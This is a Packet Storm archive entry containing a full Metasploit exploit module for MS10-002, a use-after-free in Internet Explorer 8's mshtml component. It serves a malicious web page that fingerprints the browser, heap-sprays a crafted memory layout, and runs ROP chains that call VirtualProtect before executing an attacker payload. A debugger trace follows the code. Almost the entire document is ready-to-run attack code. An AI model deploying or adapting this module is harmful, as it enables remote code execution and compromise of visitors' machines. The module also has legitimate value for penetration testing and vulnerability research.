MS10-002 Internet Explorer Object Memory Use-After-Free

2012-03-22T00:00:00
ID PACKETSTORM:111076
Type packetstorm
Reporter Peter Vreugdenhil
Modified 2012-03-22T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "MS10-002 Internet Explorer Object Memory Use-After-Free",  
'Description' => %q{  
This module exploits a vulnerability found in Internet Explorer's  
mshtml component. Due to the way IE handles objects in memory, it is   
possible to cause a pointer in CTableRowCellsCollectionCacheItem::GetNext  
to be used even after it gets freed, therefore allowing remote code  
execution under the context of the user.  
  
This particular vulnerability was also one of 2012's Pwn2Own  
challenges, and was later explained by Peter Vreugdenhil with exploitation  
details. Instead of Peter's method, this module uses heap spraying like  
the 99% to store a specially crafted memory layout before re-using the  
freed memory.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Peter Vreugdenhil', # Vulnerability discovery and exploit writeup  
'juan vazquez', # Metasploit  
'sinn3r' # Metasploit  
],  
'References' =>  
[  
[ 'MSB', 'MS10-002'],  
[ 'CVE', '2010-0248' ],  
[ 'OSVDB', '61914'],  
[ 'URL', 'http://dvlabs.tippingpoint.com/blog/2012/03/15/pwn2own-2012-challenge-writeup' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-014/']  
],  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00",  
'DisableNops' => true  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 }, ],  
[ 'IE 8 on Windows 7 SP0', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7c348b05 } ]  
],  
'Privileged' => false,  
'DisclosureDate' => "Jan 21 2010",  
'DefaultTarget' => 0))  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
if agent =~ /NT 5\.1/ and agent =~ /MSIE 8/  
return targets[1] #IE 8 on Windows XP SP3  
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/  
return targets[2] #IE 8 on Windows 7 SP1 with JRE  
else  
return nil  
end  
end  
  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
my_target = get_target(agent)  
  
# Avoid the attack if the victim doesn't have the same setup we're targeting  
if my_target.nil?  
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")  
send_not_found(cli)  
return  
end  
  
js_code = build_javascript(my_target)  
  
html = %Q|  
<html>  
<head>  
<script>  
#{js_code}  
</script>  
</head>  
<body onLoad="window.setTimeout(Start,100);" id="bodyid">  
  
<table id="tableid">  
<tr><th id="thid"></th></tr>  
<tr id="trid"><td id="tdid"></td></tr>  
</table>  
  
</body>  
</html>  
|  
  
print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
  
end  
  
def build_javascript(my_target)  
  
p = get_payload(my_target)  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))  
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))  
  
# The exploit will try to take up the freed memory  
# with a fake item before the reuse  
fake_item = [  
junk,  
junk,  
junk,  
junk,  
junk,  
junk,  
junk,  
junk,  
junk,  
junk,  
junk,  
junk,  
junk,  
junk,  
junk,  
junk,  
junk,  
0x0c0c003c, # pointer to c_table_cell  
junk,  
junk,  
junk,  
0x0c0c0050, # pointer to c_cache_item  
junk,  
junk,  
].pack("V*")  
fake_item_js = Rex::Text.to_unescape(fake_item)  
  
# Here start the crafted layout of the memory  
# which will be sprayed to get code execution  
# IE 8 => Spray be sprayed into 0c0c0024  
memory_layout = [  
junk,  
junk,  
junk,  
junk,  
junk,  
junk,  
0x0c0c0040, # ----- points to 0x0c0c0040  
0x0c0c0c0c, # <---| 0x0c0c0c0c + 0x70: 0x0c0c0c7c will store the stackpivot with eax pointing to 0c0c0c0c  
junk,  
junk,  
0x00000000, # Allows to bypass CTableCell::GetAAcolSpan  
junk, # Stored at 0c0c0c50  
junk,  
junk,  
0x0c0c0078,  
junk,  
junk,  
junk,  
junk,  
junk,  
0x0c0c0c50, # <- Stored at 0c0c0074 (0x0c0c0078 - 4)  
0x00000001 # Stored at 0c0c0078 (0c0c0050+28) # Allows to exit of CTableRowCellsCollectionCacheItem::GetNext faster  
].pack("V*")  
memory_layout_js = Rex::Text.to_unescape(memory_layout)  
  
# Steps:  
# 1. Force the free.  
# 2. Try to reuse the freed memory with a fake item.  
# The fake item store crafted pointers to the  
# memory which will be sprayed on step 3.  
# 3. Heap Spray: Shellcode + crafted memory layout to  
# get execution flow when the memory freed in step 1  
# is reused in step 4.  
# 4. Force the memory reuse.  
spray = <<-JS  
function Start() {  
  
var fake_items = unescape("#{fake_item_js}");  
while (fake_items.length < 0x1000) fake_items+= fake_items;  
var fake_item = fake_items.substring(0, (96-6)/2);  
  
var code = unescape("#{js_code}");  
var memory_layout = unescape("#{memory_layout_js}")  
var nops = unescape("#{js_nops}");  
while (nops.length < 0x80000) nops += nops;  
var offset = nops.substring(0, #{my_target['Offset']} - memory_layout.length);  
var shellcode = memory_layout + offset + code + nops.substring(0, 0x800-#{my_target['Offset']}-code.length);  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block_shell = shellcode.substring(0, (0x80000-6)/2);  
  
var heap = new heapLib.ie(0x20000);  
  
var TableClone = document.getElementById('tableid').cloneNode(1);  
var TableCellUrns = TableClone.cells.urns('a');  
var bla = TableClone.cells.item(1);  
var TableCellUrnsTags = TableCellUrns.tags('a');  
TableClone.outerText = 'a';  
  
heap.gc();  
for(i = 0; i < 30; i++) {  
heap.alloc(fake_item);  
}  
  
for (var i=1; i < 0x1C2; i++) {  
heap.alloc(block_shell);  
}  
  
Result = TableClone.cells;  
Result = TableCellUrnsTags.item(1);  
  
}  
JS  
  
spray = heaplib(spray, {:noobfu => true})  
return spray  
end  
  
def nop  
return make_nops(4).unpack("V").first  
end  
  
def junk(n=4)  
return rand_text_alpha(n).unpack("V").first  
end  
  
# ROP chain + shellcode will be sprayed at 0x0c0c0c0c  
def get_payload(t)  
# chain generated by mona.py - See corelan.be  
case t['Rop']  
when :msvcrt  
rop =  
[  
0x77c4e392, # POP EAX # RETN  
0x77c11120, # <- *&VirtualProtect()  
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN  
junk,  
0x77c2dd6c,  
0x77c4ec00, # POP EBP # RETN  
0x77c35459, # ptr to 'push esp # ret'  
0x77c47705, # POP EBX # RETN  
0x00000800, # <- change size to mark as executable if needed (-> ebx)  
0x77c3ea01, # POP ECX # RETN  
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)  
0x77c46100, # POP EDI # RETN  
0x77c46101, # ROP NOP (-> edi)  
0x77c4d680, # POP EDX # RETN  
0x00000040, # newProtect (0x40) (-> edx)  
0x77c4e392, # POP EAX # RETN  
nop, # NOPS (-> eax)  
0x77c12df9, # PUSHAD # RETN  
].pack("V*")  
  
when :jre  
rop =  
[  
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN  
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)  
0x7c347f98, # RETN (ROP NOP)  
0x7c3415a2, # JMP [EAX]  
0xffffffff,  
0x7c376402, # skip 4 bytes  
0x7c351e05, # NEG EAX # RETN  
0x7c345255, # INC EBX # FPATAN # RETN  
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN  
0x7c344f87, # POP EDX # RETN  
0xffffffc0, # Value to negate, will become 0x00000040  
0x7c351eb1, # NEG EDX # RETN  
0x7c34d201, # POP ECX # RETN  
0x7c38b001, # &Writable location  
0x7c347f97, # POP EAX # RETN  
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]  
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN  
0x7c345c30, # ptr to 'push esp # ret '  
].pack("V*")  
end  
  
code = rop  
code << make_nops(38)  
code << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes  
code << [t.ret].pack("V") # Stack Pivot  
code << payload.encoded  
  
return code  
end  
  
end  
  
=begin  
(694.cc0): Break instruction exception - code 80000003 (first chance)  
eax=00000000 ebx=00000100 ecx=0241f518 edx=7c90e4f4 esi=7c90d6d0 edi=ffffffff  
eip=7c8022cf esp=0241f534 ebp=0241f548 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246  
kernel32!WriteProcessMemory+0x6d:  
7c8022cf cc int 3  
=end`